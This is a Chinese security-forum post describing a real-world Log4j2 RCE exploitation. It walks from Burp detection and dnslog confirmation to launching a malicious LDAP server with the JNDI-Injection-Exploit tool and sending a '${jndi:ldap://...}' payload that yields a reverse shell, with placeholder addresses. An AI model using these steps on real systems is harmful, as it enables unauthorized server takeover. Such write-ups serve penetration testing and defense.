安全矩阵

 找回密码
 立即注册
搜索
查看: 800|回复: 0

Log4j2 漏洞实战案例

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-12-5 10:09:48 | 显示全部楼层 |阅读模式

在现在以及未来的一段时间里,Log4j2 漏洞依然是渗透和排查的重点。在测试靶场里复现多次,在实战中遇到还是十分兴奋,So,总得记录点什么吧。

01、漏洞发现
通过burp插件的方式,将Log4j2漏洞检测能力集成到burp进行被动扫描。在访问网站抓包的过程中,检测到目标站点存在Log4j2 RCE漏洞。
编辑
02、确认漏洞参数
由于使用参数Fuzz,每个数据包里都夹带多个参数注入Payload,我们需要进一步定位到具体的漏洞参数位置。
(1)登录ceye.io,可以查看当前的dnslog。
编辑
(2)对比burp参数注入的payload和dnslog请求,可初步确认参数username存在Log4j2 RCE漏洞。
编辑
03、构建ldap服务
通过JNDI注入利用的工具,构建好恶意类地址和ldap服务,为进一步漏洞利用做好准备。
(1)构建payload,将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。
在线编码地址:

  1. <code class="hljs">https://www.jackson-t.ca/runtime-exec-payloads.html</code>
复制代码



编辑
(2)用JNDIExploit启动一个ldap的服务。
命令如下:
  1. <code class="hljs">java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”</code>
复制代码


编辑
04、获取目标权限
利用Log4j2漏洞向目标服务器发送构造的payload语句,反弹shell,从而获取目标服务器权限。
(1)启动端口监听
编辑
(2)在burp进行构造payload,url编码后发送请求。
Payload:
  1. <code class="hljs">?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}</code>
复制代码


编辑
(3)服务端成功接收到bash反弹的shell。
编辑

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:52 , Processed in 0.012482 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表